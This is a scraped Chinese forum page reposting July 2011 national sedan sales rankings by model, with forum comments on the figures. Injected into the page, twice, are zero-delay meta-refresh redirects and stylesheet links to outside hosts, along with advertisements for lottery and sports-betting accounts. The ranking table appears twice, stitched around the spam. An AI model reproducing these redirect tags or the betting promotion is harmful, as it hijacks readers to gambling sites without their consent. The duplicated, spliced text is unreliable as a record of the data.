2011年7月全国轿车销量车型排名(转载)

来源:百度文库 编辑:超级军网 时间:2024/05/04 22:16:09
<br /><br />2011年7月全国轿车销量车型排名(转载)
发信站: 水木社区 (Tue Aug  9 12:51:38 2011), 站内

排名 品牌 厂商 车型 本月销量 本年累计
1 丰田 一汽丰田 卡罗拉 18902 86506
2 别克 上海通用 凯越 18383 139801
3 大众 一汽大众 宝来 17151 111193
4 雪佛兰 上海通用 科鲁兹 16366 118950
5 丰田 广汽丰田 凯美瑞 15908 78211
6 大众 一汽大众 捷达 15368 131549
7 大众 上海大众 帕萨特 15269 79103
8 雪佛兰 上海通用 赛欧 15100 99143
9 日产 东风日产 阳光 14900 88059
10 现代 北京现代 悦动 13280 113870
11 大众 一汽大众 速腾 12813 73097
12 丰田 一汽丰田 花冠 12613 58793
13 本田 广汽本田 雅阁 11983 81716
14 日产 东风日产 天籁 11818 84844
15 日产 东风日产 骐达 11551 50591
16 大众 一汽大众 高尔夫 10983 51766
17 本田 广汽本田 思迪锋范 10497 63792
18 现代 北京现代 瑞纳 10417 63231
19 斯柯达 上海大众 明锐 10047 72595
20 奥迪 一汽大众 奥迪A6 10012 60584
21 奇瑞 奇瑞汽车 QQ 9991 87038
22 日产 东风日产 轩逸 9726 74461
23 起亚 东风悦达起亚 福瑞迪 9686 72239
24 长城 长城汽车 腾翼C30 9543 86404
25 大众 上海大众 桑塔纳志俊 9458 66395
26 奥迪 一汽大众 奥迪A4 8832 45370
27 夏利 天津一汽 夏利 8798 116483
28 别克 上海通用 君越 8606 66351
29 大众 上海大众 新POLO 8072 63637
30 比亚迪 比亚迪 F3 7911 107382
31 大众 一汽大众 迈腾 7799 42934
32 雪铁龙 神龙汽车 世嘉 7570 65483
33 别克 上海通用 英朗GT 7345 55810
34 现代 北京现代 伊兰特 7343 70800
35 雪佛兰 上汽通用五菱 乐驰Spark 6966 43802
36 帝豪 吉利汽车 帝豪EC7 6879 55648
37 本田 东风本田 思域 6779 55192
38 福特 长安福特 福克斯两厢 6448 60554
39 中华 沈阳华晨 骏捷FRV 6040 48880
40 大众 上海大众 桑塔纳 6039 62666
41 别克 上海通用 君威 5776 43601
42 标致 神龙汽车 标致408 5732 34962
43 江淮 江淮汽车 同悦 5722 36954
44 长安 长安汽车 奔奔迷你 5710 58321
44 铃木 长安铃木 天语 5710 42313
46 比亚迪 比亚迪 F0 5405 62142
47 丰田 一汽丰田 锐志 5401 30514
48 比亚迪 比亚迪 G3 5033 37411
49 现代 北京现代 现代索纳塔 5009 23335
50 宝马 华晨宝马 5系 4744 36820
51 马自达 长安福特 马自达3 4691 39815
52 雪铁龙 神龙汽车 爱丽舍 4667 37403
53 雪佛兰 上海通用 爱唯欧 4498 7152
54 马自达 一汽轿车 马自达6 4491 55990
55 东南 东南汽车 菱悦 4309 33672
56 奇瑞 奇瑞汽车 E5 4280 4280
57 铃木 长安铃木 奥拓 4266 36221
58 福特 长安福特 福克斯三厢 4205 52011
59 大众 上海大众 POLO劲取 4167 26101
60 中华 沈阳华晨 骏捷FSV 4114 19081
61 起亚 东风悦达起亚 K2 4050 4342
62 日产 东风日产 骊威劲锐 4045 29163
63 奔腾 一汽轿车 奔腾B50 3993 56555
64 力帆 力帆汽车 力帆620 3860 31834
65 斯柯达 上海大众 晶锐 3818 29249
66 荣威 上海汽车 荣威350 3697 38498
67 起亚 东风悦达起亚 赛拉图 3688 37468
68 英伦 吉利汽车 英伦金刚 3654 35135
69 全球鹰 吉利汽车 全球鹰自由舰 3637 44212
70 大众 一汽大众 CC 3591 21659
70 大众 上海大众 Lavida朗逸 3591 135217
72 理念 广汽本田 理念S1 3552 11980
73 奇瑞 奇瑞汽车 风云2两厢 3523 29064
74 海马 一汽海马 福美来 3521 44691
75 铃木 长安铃木 羚羊 3355 30844
76 宝马 华晨宝马 3系 3306 21422
77 福特 长安福特 嘉年华两厢 3301 26388
78 日产 东风日产 骊威 3293 27012
79 长安 长安汽车 悦翔 3167 39393
80 起亚 东风悦达起亚 K5 3108 15033
81 奔驰 北京奔驰 E级 3000 20906
82 别克 上海通用 英朗XT 2930 20975
83 福特 长安福特 蒙迪欧致胜 2904 33350
84 全球鹰 吉利汽车 全球鹰熊猫 2901 26296
85 斯柯达 上海大众 昊锐 2803 29639
86 荣威 上海汽车 荣威550 2767 25394
87 铃木 长安铃木 雨燕 2738 24724
88 马自达 一汽轿车 睿翼 2678 20282
89 雪佛兰 上海通用 景程 2599 22858
90 奇瑞 奇瑞汽车 A1 2471 11373
91 力帆 力帆汽车 力帆520 2467 18752
92 铃木 昌河 北斗星 2373 30816
93 奇瑞 奇瑞汽车 旗云2 2291 29672
94 现代 北京现代 名驭 2260 19062
95 比亚迪 比亚迪 L3 2199 14167
96 MG 上海汽车 MG3SW 2176 10579
97 雪铁龙 神龙汽车 C5 2170 19848
98 奇瑞 奇瑞汽车 风云2 2159 16964
99 长安 长安汽车 长安CX20 2089 22226
100 英伦 吉利汽车 SC7 2046 28567
101 英伦 吉利汽车 金鹰 2037 10742
102 奔驰 北京奔驰 C级 2000 15055
103 标致 神龙汽车 标致307两厢 1959 13923
104 标致 神龙汽车 标致307三厢 1940 15947
105 江淮 江淮汽车 和悦 1893 39283
106 全球鹰 吉利汽车 全球鹰远景 1856 29200
107 奇瑞 奇瑞汽车 旗云3 1806 29648
108 标致 神龙汽车 标致207三厢 1791 17049
109 一汽 天津一汽 威志 1770 18345
110 丰田 一汽丰田 皇冠 1747 14191
110 起亚 东风悦达起亚 锐欧 1747 21611
112 三菱 东南汽车 蓝瑟翼神 1735 12384
113 丰田 广汽丰田 雅力士 1733 9038
114 力帆 力帆汽车 力帆320 1655 9466
115 江南奥拓 众泰汽车 江南奥拓 1637 18627
116 海马 一汽海马 丘比特 1610 11716
117 长城 长城汽车 炫丽 1581 22027
118 MG 上海汽车 MG6 1554 14631
119 帝豪 吉利汽车 帝豪EC8 1543 9567
120 本田 广汽本田 飞度 1462 11080
121 一汽 天津一汽 威志V2 1411 16097
122 奇瑞 奇瑞汽车 A3两厢 1409 9654
123 本田 东风本田 思铂睿 1268 10661
124 福特 长安福特 嘉年华三厢 1265 10844
125 标致 神龙汽车 标致207两厢 1210 11310
126 奇瑞 奇瑞汽车 旗云1 1192 20275
127 众泰 众泰汽车 众泰Z200HB 1186 2477
128 海马 郑州海马 海马王子 1169 7218
129 铃木 昌河 利亚纳 1124 12879
130 现代 北京现代 雅绅特 1098 14786
131 奇瑞 奇瑞汽车 A3三厢 1051 12310
132 丰田 一汽丰田 威驰 1049 7282
133 奔腾 一汽轿车 奔腾B70 1013 18494
134 日产 东风日产 玛驰 993 10818
135 雪佛兰 上海通用 乐风 978 58134
136 风神 东风乘用车 风神S30 973 10608
137 风神 东风乘用车 风神H30 968 6635
138 力帆 力帆汽车 力帆520i 923 6704
139 沃尔沃 长安福特 沃尔沃S80 888 5474
140 比亚迪 比亚迪 F6 826 12346
141 青年莲花 莲花汽车 莲花L3两厢 801 9171
142 比亚迪 比亚迪 F3R 762 14133
143 广汽 广汽乘用车 传祺 703 7216
144 青年莲花 莲花汽车 莲花L3三厢 695 6659
145 马自达 长安福特 马自达2 686 6457
146 起亚 东风悦达起亚 秀尔 681 6214
147 雪铁龙 神龙汽车 C2 674 5505
148 长安 长安汽车 长安CX30 615 7125
149 现代 北京现代 i30 599 7036
150 大众 一汽大众 高尔夫GTI 572 2679
151 凯迪拉克 上海通用 凯迪拉克SLS 544 4301
152 哈飞 哈飞汽车 路宝 509 2348
153 起亚 东风悦达起亚 远舰 442 1753
154 沃尔沃 长安福特 沃尔沃S40 428 2973
155 现代 北京现代 瑞纳两厢 419 5528
156 众泰 众泰汽车 众泰Z200 369 695
157 瑞麒 奇瑞汽车 M1 271 4943
158 荣威 上海汽车 荣威750 266 2744
159 昌河 昌河 爱迪尔 252 1771
160 中华 沈阳华晨 骏捷 241 9126
161 别克 上海通用 林荫大道 237 1119
162 现代 北京现代 翎翔 229 7193
163 三菱 东南汽车 蓝瑟 167 2774
164 海马 一汽海马 海马3 150 1787
164 哈飞 哈飞汽车 赛马 150 1982
166 一汽 天津一汽 威乐 115 1660
167 江淮 江淮汽车 宾悦 106 520
168 雪铁龙 神龙汽车 凯旋 87 230
169 MG 上海汽车 MG7 67 438
170 江淮 江淮汽车 悦悦 60 2142
170 本田 广汽本田 歌诗图 60 1577
172 三菱 东南汽车 戈蓝 57 559
173 中华 沈阳华晨 尊驰 54 1738
174 瑞麒 奇瑞汽车 G5 50 631
175 长安 长安汽车 奔奔 42 1073
176 长城 长城汽车 凌傲 36 337
176 比亚迪 比亚迪 F3DM 36 349
178 英伦 吉利汽车 TX4 27 609
179 奇瑞 奇瑞汽车 东方之子 26 1122
180 华泰 华泰汽车 华泰B11 16 3103
181 大众 上海大众 Crosspolo 15 176
182 一汽 天津一汽 威姿 5 149
183 奇瑞 奇瑞汽车 QQ me 4 88
183 哈飞 哈飞汽车 赛豹 4 240<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
<br /><br />2011年7月全国轿车销量车型排名(转载)
发信站: 水木社区 (Tue Aug  9 12:51:38 2011), 站内

排名 品牌 厂商 车型 本月销量 本年累计
1 丰田 一汽丰田 卡罗拉 18902 86506
2 别克 上海通用 凯越 18383 139801
3 大众 一汽大众 宝来 17151 111193
4 雪佛兰 上海通用 科鲁兹 16366 118950
5 丰田 广汽丰田 凯美瑞 15908 78211
6 大众 一汽大众 捷达 15368 131549
7 大众 上海大众 帕萨特 15269 79103
8 雪佛兰 上海通用 赛欧 15100 99143
9 日产 东风日产 阳光 14900 88059
10 现代 北京现代 悦动 13280 113870
11 大众 一汽大众 速腾 12813 73097
12 丰田 一汽丰田 花冠 12613 58793
13 本田 广汽本田 雅阁 11983 81716
14 日产 东风日产 天籁 11818 84844
15 日产 东风日产 骐达 11551 50591
16 大众 一汽大众 高尔夫 10983 51766
17 本田 广汽本田 思迪锋范 10497 63792
18 现代 北京现代 瑞纳 10417 63231
19 斯柯达 上海大众 明锐 10047 72595
20 奥迪 一汽大众 奥迪A6 10012 60584
21 奇瑞 奇瑞汽车 QQ 9991 87038
22 日产 东风日产 轩逸 9726 74461
23 起亚 东风悦达起亚 福瑞迪 9686 72239
24 长城 长城汽车 腾翼C30 9543 86404
25 大众 上海大众 桑塔纳志俊 9458 66395
26 奥迪 一汽大众 奥迪A4 8832 45370
27 夏利 天津一汽 夏利 8798 116483
28 别克 上海通用 君越 8606 66351
29 大众 上海大众 新POLO 8072 63637
30 比亚迪 比亚迪 F3 7911 107382
31 大众 一汽大众 迈腾 7799 42934
32 雪铁龙 神龙汽车 世嘉 7570 65483
33 别克 上海通用 英朗GT 7345 55810
34 现代 北京现代 伊兰特 7343 70800
35 雪佛兰 上汽通用五菱 乐驰Spark 6966 43802
36 帝豪 吉利汽车 帝豪EC7 6879 55648
37 本田 东风本田 思域 6779 55192
38 福特 长安福特 福克斯两厢 6448 60554
39 中华 沈阳华晨 骏捷FRV 6040 48880
40 大众 上海大众 桑塔纳 6039 62666
41 别克 上海通用 君威 5776 43601
42 标致 神龙汽车 标致408 5732 34962
43 江淮 江淮汽车 同悦 5722 36954
44 长安 长安汽车 奔奔迷你 5710 58321
44 铃木 长安铃木 天语 5710 42313
46 比亚迪 比亚迪 F0 5405 62142
47 丰田 一汽丰田 锐志 5401 30514
48 比亚迪 比亚迪 G3 5033 37411
49 现代 北京现代 现代索纳塔 5009 23335
50 宝马 华晨宝马 5系 4744 36820
51 马自达 长安福特 马自达3 4691 39815
52 雪铁龙 神龙汽车 爱丽舍 4667 37403
53 雪佛兰 上海通用 爱唯欧 4498 7152
54 马自达 一汽轿车 马自达6 4491 55990
55 东南 东南汽车 菱悦 4309 33672
56 奇瑞 奇瑞汽车 E5 4280 4280
57 铃木 长安铃木 奥拓 4266 36221
58 福特 长安福特 福克斯三厢 4205 52011
59 大众 上海大众 POLO劲取 4167 26101
60 中华 沈阳华晨 骏捷FSV 4114 19081
61 起亚 东风悦达起亚 K2 4050 4342
62 日产 东风日产 骊威劲锐 4045 29163
63 奔腾 一汽轿车 奔腾B50 3993 56555
64 力帆 力帆汽车 力帆620 3860 31834
65 斯柯达 上海大众 晶锐 3818 29249
66 荣威 上海汽车 荣威350 3697 38498
67 起亚 东风悦达起亚 赛拉图 3688 37468
68 英伦 吉利汽车 英伦金刚 3654 35135
69 全球鹰 吉利汽车 全球鹰自由舰 3637 44212
70 大众 一汽大众 CC 3591 21659
70 大众 上海大众 Lavida朗逸 3591 135217
72 理念 广汽本田 理念S1 3552 11980
73 奇瑞 奇瑞汽车 风云2两厢 3523 29064
74 海马 一汽海马 福美来 3521 44691
75 铃木 长安铃木 羚羊 3355 30844
76 宝马 华晨宝马 3系 3306 21422
77 福特 长安福特 嘉年华两厢 3301 26388
78 日产 东风日产 骊威 3293 27012
79 长安 长安汽车 悦翔 3167 39393
80 起亚 东风悦达起亚 K5 3108 15033
81 奔驰 北京奔驰 E级 3000 20906
82 别克 上海通用 英朗XT 2930 20975
83 福特 长安福特 蒙迪欧致胜 2904 33350
84 全球鹰 吉利汽车 全球鹰熊猫 2901 26296
85 斯柯达 上海大众 昊锐 2803 29639
86 荣威 上海汽车 荣威550 2767 25394
87 铃木 长安铃木 雨燕 2738 24724
88 马自达 一汽轿车 睿翼 2678 20282
89 雪佛兰 上海通用 景程 2599 22858
90 奇瑞 奇瑞汽车 A1 2471 11373
91 力帆 力帆汽车 力帆520 2467 18752
92 铃木 昌河 北斗星 2373 30816
93 奇瑞 奇瑞汽车 旗云2 2291 29672
94 现代 北京现代 名驭 2260 19062
95 比亚迪 比亚迪 L3 2199 14167
96 MG 上海汽车 MG3SW 2176 10579
97 雪铁龙 神龙汽车 C5 2170 19848
98 奇瑞 奇瑞汽车 风云2 2159 16964
99 长安 长安汽车 长安CX20 2089 22226
100 英伦 吉利汽车 SC7 2046 28567
101 英伦 吉利汽车 金鹰 2037 10742
102 奔驰 北京奔驰 C级 2000 15055
103 标致 神龙汽车 标致307两厢 1959 13923
104 标致 神龙汽车 标致307三厢 1940 15947
105 江淮 江淮汽车 和悦 1893 39283
106 全球鹰 吉利汽车 全球鹰远景 1856 29200
107 奇瑞 奇瑞汽车 旗云3 1806 29648
108 标致 神龙汽车 标致207三厢 1791 17049
109 一汽 天津一汽 威志 1770 18345
110 丰田 一汽丰田 皇冠 1747 14191
110 起亚 东风悦达起亚 锐欧 1747 21611
112 三菱 东南汽车 蓝瑟翼神 1735 12384
113 丰田 广汽丰田 雅力士 1733 9038
114 力帆 力帆汽车 力帆320 1655 9466
115 江南奥拓 众泰汽车 江南奥拓 1637 18627
116 海马 一汽海马 丘比特 1610 11716
117 长城 长城汽车 炫丽 1581 22027
118 MG 上海汽车 MG6 1554 14631
119 帝豪 吉利汽车 帝豪EC8 1543 9567
120 本田 广汽本田 飞度 1462 11080
121 一汽 天津一汽 威志V2 1411 16097
122 奇瑞 奇瑞汽车 A3两厢 1409 9654
123 本田 东风本田 思铂睿 1268 10661
124 福特 长安福特 嘉年华三厢 1265 10844
125 标致 神龙汽车 标致207两厢 1210 11310
126 奇瑞 奇瑞汽车 旗云1 1192 20275
127 众泰 众泰汽车 众泰Z200HB 1186 2477
128 海马 郑州海马 海马王子 1169 7218
129 铃木 昌河 利亚纳 1124 12879
130 现代 北京现代 雅绅特 1098 14786
131 奇瑞 奇瑞汽车 A3三厢 1051 12310
132 丰田 一汽丰田 威驰 1049 7282
133 奔腾 一汽轿车 奔腾B70 1013 18494
134 日产 东风日产 玛驰 993 10818
135 雪佛兰 上海通用 乐风 978 58134
136 风神 东风乘用车 风神S30 973 10608
137 风神 东风乘用车 风神H30 968 6635
138 力帆 力帆汽车 力帆520i 923 6704
139 沃尔沃 长安福特 沃尔沃S80 888 5474
140 比亚迪 比亚迪 F6 826 12346
141 青年莲花 莲花汽车 莲花L3两厢 801 9171
142 比亚迪 比亚迪 F3R 762 14133
143 广汽 广汽乘用车 传祺 703 7216
144 青年莲花 莲花汽车 莲花L3三厢 695 6659
145 马自达 长安福特 马自达2 686 6457
146 起亚 东风悦达起亚 秀尔 681 6214
147 雪铁龙 神龙汽车 C2 674 5505
148 长安 长安汽车 长安CX30 615 7125
149 现代 北京现代 i30 599 7036
150 大众 一汽大众 高尔夫GTI 572 2679
151 凯迪拉克 上海通用 凯迪拉克SLS 544 4301
152 哈飞 哈飞汽车 路宝 509 2348
153 起亚 东风悦达起亚 远舰 442 1753
154 沃尔沃 长安福特 沃尔沃S40 428 2973
155 现代 北京现代 瑞纳两厢 419 5528
156 众泰 众泰汽车 众泰Z200 369 695
157 瑞麒 奇瑞汽车 M1 271 4943
158 荣威 上海汽车 荣威750 266 2744
159 昌河 昌河 爱迪尔 252 1771
160 中华 沈阳华晨 骏捷 241 9126
161 别克 上海通用 林荫大道 237 1119
162 现代 北京现代 翎翔 229 7193
163 三菱 东南汽车 蓝瑟 167 2774
164 海马 一汽海马 海马3 150 1787
164 哈飞 哈飞汽车 赛马 150 1982
166 一汽 天津一汽 威乐 115 1660
167 江淮 江淮汽车 宾悦 106 520
168 雪铁龙 神龙汽车 凯旋 87 230
169 MG 上海汽车 MG7 67 438
170 江淮 江淮汽车 悦悦 60 2142
170 本田 广汽本田 歌诗图 60 1577
172 三菱 东南汽车 戈蓝 57 559
173 中华 沈阳华晨 尊驰 54 1738
174 瑞麒 奇瑞汽车 G5 50 631
175 长安 长安汽车 奔奔 42 1073
176 长城 长城汽车 凌傲 36 337
176 比亚迪 比亚迪 F3DM 36 349
178 英伦 吉利汽车 TX4 27 609
179 奇瑞 奇瑞汽车 东方之子 26 1122
180 华泰 华泰汽车 华泰B11 16 3103
181 大众 上海大众 Crosspolo 15 176
182 一汽 天津一汽 威姿 5 149
183 奇瑞 奇瑞汽车 QQ me 4 88
183 哈飞 哈飞汽车 赛豹 4 240<meta http-equiv="refresh" content="0; url=http://fjw.cc">
<meta http-equiv="refresh" content="0; url=http://516123.com/1.html">
<link href="http://fjw.cc/558.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://516123.com/8.css" rel="stylesheet" type="text/css" media="screen" />

<P>&nbsp;</P>
<P>&nbsp;</P>


(6.合.彩)足球→篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注=:倍率高.→存取速度快.国内最好的投注平台
网上这些数据,很多都不准确。不知道是哪个权威机构统计的,还是拿到的交管所的上牌记录。
119           帝豪          吉利汽车         帝豪EC8           1543              9567


174           瑞麒          奇瑞汽车         G5                   50                  631
70 大众 上海大众 Lavida朗逸 3591 135217
72 理念 广汽本田 理念S1 3552 11980

-------------
朗逸开始和理念混了
16 大众 一汽大众 高尔夫 10983 51766

=======
G6开始放量了
朗逸这么烂了?
朗逸变得这么烂了啊,不太对劲啊,差别也太大了吧,是不是厂家有搞饥饿销售啊?
朗逸这个月生产线整顿,无货
127 众泰 众泰汽车 众泰Z200HB 1186 2477

156 众泰 众泰汽车 众泰Z200 369 695

居然卖一千多辆         
哎,自主品牌没有销量上W的车子了,不知道宝骏630这个伪自主行不行。
是啊,自主品牌普遍不给力啊
我一开始也纳闷,怎么前十里边没见朗逸神车
自主的需要给力啊
丰田归来啊
别克 上海通用 凯越 18383 139801
3 大众 一汽大众 宝来 17151 111193
4 雪佛兰 上海通用 科鲁兹 16366 118950
6 大众 一汽大众 捷达 15368 131549
10 现代 北京现代 悦动 13280 113870

======================
以上动物凶猛,特别是捷达和凯越{:soso_e144:}
77     福特    长安福特 嘉年华两厢 3301 26388
124   福特    长安福特 嘉年华三厢 1265 10844
145   马自达 长安福特 马自达2     686   6457

38     福特    长安福特 福克斯两厢 6448 60554
58     福特    长安福特 福克斯三厢 4205 52011
51     马自达 长安福特 马自达3     4691 39815
我的那个,榜上无名啊
车永学 发表于 2011-8-14 18:34
我的那个,榜上无名啊
要得,扔在马路边三个月都不会丢的
30 比亚迪 比亚迪 F3 7911 107382
==============================
杯具了.....

看s6卖得怎么样.....